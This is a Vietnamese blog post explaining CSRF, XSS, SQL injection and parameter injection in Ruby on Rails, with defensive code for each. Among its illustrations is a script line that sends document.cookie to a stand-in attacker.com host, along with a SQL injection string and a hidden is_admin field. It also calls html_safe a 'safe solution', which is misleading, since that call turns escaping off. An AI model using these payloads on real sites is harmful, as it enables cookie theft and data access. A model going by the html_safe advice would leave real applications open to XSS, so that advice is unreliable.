Làm cốc trà đá bàn về bảo mật trong Rails
Bài đăng này đã không được cập nhật trong 6 năm
Ngày nay, hầu hết các frameworks phát triển web hay mobile đều hỗ trợ đỡ các developer trong việc xây dựng các ứng dụng an toàn. Nhưng bởi vì không có framework nào là hoàn hảo, nên việc developer hiểu rõ bản chất của framework mình đang sử dụng, cũng như các lỗ hổng có thể có của nó sẽ giúp ích rất nhiều trong việc xây dựng một hệ thống an toàn và đảm bảo vấn đề bảo mật Mình có đọc được một bài viết khá hay của Leigh Halliday về vấn đề bảo mật trong Rails và muốn chia sẻ với tất cả các bạn những điều mình thấy là hợp lí, mà có thể trong số đó, có những điều chưa từng nằm trong kiến thức của bạn.
1. Bạn có tin tưởng người dùng không?
Well, thật đáng buồn nhưng có lẽ là không nên. Cứ cho rằng hầu hết người dùng đều "tốt tính - có tâm" đi, nhưng vấn đề bảo mật nó cũng giống như khi ta bàn về sự tinh khiết vậy, chỉ cần một người dùng "không tốt tính" là bùm. Những thứ người dùng nhập vào không chỉ từ các form data, nó có thể là bất cứ thứ của nợ trên trời dưới đất gì thông qua 1 HTTP request: form data, query params . . . Đây đúng là nơi mà "cái lạnh mùa đông" bắt đầu xuất hiện - Dữ liệu đầu vào của người dùng. Cụ thể mình sẽ nói về những khả năng/phương thức gây nguy hại có thể xảy ra như : tấn công CSRF, tấn công XSS, SQL injection . . .
2.Tấn công CSRF(Cross Site Request Forgery)
Kiểu tấn công này xảy ra khi người dùng được xác thực ở trang web A(của bạn). và trong khi duyệt trang web B nào đó(không phải của bạn) họ bị lừa với một yêu cầu lên trang web A để sửa đổi hoặc thay đổi một số thông tin về tài khoản của họ: chuyển tiền, thay đổi email và mật khâu . . . Có một vài cách bạn có thể làm khi xây dựng ứng dụng Rails để tránh bị tấn công kiểu này. Thứ nhất, sử dụng routing RESTful. Điều này có nghĩa là GET request của bạn chỉ được sử dụng để tìm, nạp thông tin và POST hoặc PUT thì chăm lo việc thay đổi hoặc tạo thông tin. Bởi vì, ở một mức độ nào đó, GET vẫn là an toàn. Chúng ta có thể xem 1 ví dụ bên dưới về 1 method verifying request
# Returns true or false if a request is verified. Checks:
#
# * Is it a GET or HEAD request? Gets should be safe and idempotent
# * Does the form_authenticity_token match the given token value from the params?
# * Does the X-CSRF-Token header match the form_authenticity_token
def verified_request?
!protect_against_forgery? || request.get? || request.head? ||
(valid_request_origin? && any_authenticity_token_valid?)
end
Nếu Rails thấy yêu cầu là GET, nó giả định rằng mọi việc vẫn ổn. Vì vậy, bạn đừng bao giờ thực hiện 1 hành động quan trọng - xóa tài khoản người dùng chẳng hạn bằng GET POST request mặc định được yêu cầu phải chứa một mã token CSRF hợp lệ, tất nhiên Rails lo việc này. Có một vài cách để ứng dụng gửi token CSRF hợp lệ cho Rails. Cách đơn giản nhất là tự động gửi 1 trường ẩn chứa token CSRF cùng với các input còn lại của form.
<%= form_for(country) do |f| %>
<!-- form contents -->
<% end %>
Và chỉ cần thêm 1 xíu gia vị cuối cùng:
<form class="new_country" id="new_country" action="/countries" accept-charset="UTF-8" method="post">
<input name="utf8" type="hidden" value="✓" />
<input type="hidden" name="authenticity_token" value="40tcBvMQEOeKam1NuZaP1jgm96ljhBouYL6aigt1jsaszXQCgjh5zWn3U+d9ZG2E3f2Ew2dKliLczOJI21KNEA==" />
<!-- form contents -->
</form>
Nhưng nếu bạn dùng AJAX để gửi form thì sao? Wow, sẽ có 1 cách khác. Giải pháp không phải là skip_before_action :verify_authenticity_token hay kiểu tương tự mà là lấy thông tin từ thẻ meta:
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="ry4B/2Ql+EmpsEEwgpUltYzOPIZuWtkG4u34JfOg68YQ+hHNOgZVZUAVycbLBeErn/943uR1fOp/a5wAPj/h0w==" />
Sau đó thì gửi 1 request AJAX POST với tiêu đề X-CSRF-Token
var token = document.querySelector("meta[name='csrf-token']").content;
fetch('/countries', {
method: 'POST',
headers: {
'X-CSRF-Token': token,
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
country: {
name: 'Canada',
continent: 'North America',
population: 35160000
}
}),
credentials: 'same-origin'
}).then(function(response) {
return response.json()
}).then(function(json) {
console.log(json)
});
3. Tấn công XSS
XSS hay còn gọi là Cross Site Scripting là một cách tấn công xoay quanh người dùng tìm ra cách để đưa một đoạn mã JavaScript độc hại vào trang web, sau đó hiển thị cho người dùng khác và thực thi đoạn mã độc đó
- Hạn chế việc nhúng script trong output cho người dùng: Rails có một giải pháp giúp developer xử lý việc bị tấn công XSS là không tạo ta 1 output dạng HTML trừ khi dev chúng ta cố tình làm như vậy. Ví dụ như 1 đoạn script
<script>alert('hello');</script>
Sẽ được xử lý hiển thị dưới dạng:
<script>alert('hello');</script>
96,69% người dùng sẽ không nhập HTML hoặc JavaScript vào, và nếu có, thì việc của chúng ta là hạn chế đưa ra output như vậy. Trừ khi chúng ta chắc chắn tin tưởng người dùng, và trong trường hợp đó, có 1 giải pháp an toàn như sau:
<p>
<strong>Name:</strong>
<%= @country.name.html_safe %>
</p>
Nếu như bạn muốn cho phép người dùng nhập vào một tập giới hạn các thẻ HTML, bạn có thể sử dụng sanitize helper
<p>
<strong>Name:</strong>
<%= sanitize @country.name, tags: %w(strong em) %>
</p>
Thao tác này sẽ loại bỏ các thẻ không mong muốn và chỉ cho bạn nội dung văn bản bên trong của chúng. Các developer Ruby on Rails có thể sử dụng Loofah Gem để sanitize the HTML. Ngoài ra có thể dùng 1 gem khác cũng dựa trên Nokogiri là Sanitize
- Hạn chế việc nhúng script vào URL field Một cách khác để tấn công XSS là khi một người dùng được yêu cầu cung cấp 1 URL nhưng họ lại đưa 1 đoạn script vào đó, và ngang trái là điều này lại valid HTML.
<p>
<strong>Website:</strong>
<a href="javascript:alert('hello');">Learn More</a>
</p>
Nguy hiểm ở chỗ nó có thể gửi cookies của bạn đến 1 địa chỉ khác.
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
Để ngăn chặn điều này xảy ra chúng ta có thể tạo 1 bước xác nhận URL được nhập vào là hợp lệ
require 'uri'
class Country < ApplicationRecord
validate :validate_url
private
def validate_url
return if website_url.blank?
unless valid_url? website_url
errors.add :website_url, "please provide valid URL"
end
end
def valid_url?(url)
uri = URI.parse url
uri.kind_of? URI::HTTP
rescue URI::InvalidURIError
false
end
4. Tấn công SQL Injection
SQL Injection là một kỹ thuật mà kẻ tấn công cố gắng tạo ra sự quá tại hoặc lách việc nhập dữ liệu người dùng để tạo ra các thao tác xử lí dữ liệu.Ví dụ:
# Nice user provides only the correct input
name = 'Canada'
Country.where("name = '#{name}'")
# malicious user tricks us into finding all countries
name = "Canada' OR 'cat' = 'cat"
Country.where("name = '#{name}'")
Việc thêm 1 điều kiện OR ở bên dưới sẽ làm cho biểu thức tìm kiếm này trở nên auto đúng, từ đó lấy hết tất cả record trong DB. Thật ra thì nếu chúng ta làm việc với where ở Active Record đúng cách, thì nguy cơ này hầu như sẽ được giải quyết:
Country.where(name: name)
Nhưng tất nhiên là không phải tất cả query Active Record đều có thể mạnh mẽ "đứng vững trước người dùng". Và giải pháp duy nhất lúc đó là tìm hiểu nó trước khi sử dụng, vậy thôi!
5. Tấn công Parameter Injection
Rất dễ hình dung và cũng rất dễ gặp, chỉ cần 1 đoạn code nhỏ:
<input type="hidden" name="user[is_admin]" value="1">
là nghiễm nhiên kẻ xấu trở thành "người quản trị". So sad! Đó là lí do mà chúng ta phải xử lí Strong params, điều mà có khi nhiều developer vẫn làm hằng ngày mà không hiểu vì sao =))
def user_params
params.require(:user).permit(:name, :email, :password)
end
6. Kết luận
Tất nhiên những vấn đề đã nói ở trên không phải là tất cả các kỹ thuật tấn công mà chúng ta có thể gặp phải trong quá trình xây dựng và phát triển một hệ thống Web. Nhưng may mắn là Rails phần nào đó đã "cứu bồ" biết bao nhiêu lần mà chúng ta không hề biết. Và tất nhiên để đảm bảo hệ thống của mình vận hành trơn tru cũng như an toàn, chúng ta cần tìm hiểu nhiều hơn về các cơ chế bảo mật web cũng như tìm hiểu sâu hơn về framwork mà chúng ta đang sử dụng. Với Rails Developer các bạn có thể vào Rails Security Page, chịu khó đọc nó và có thể bạn sẽ vỡ lẽ ra nhiều điều mà lâu nay mình chưa từng nghĩ tới. Các bạn có thể tham khảo thêm hoặc follow thanh niên này, mình thấy cũng có khá nhiều bài viết hay : https://blog.codeship.com/level-up-your-security-in-rails/ Peace!
All rights reserved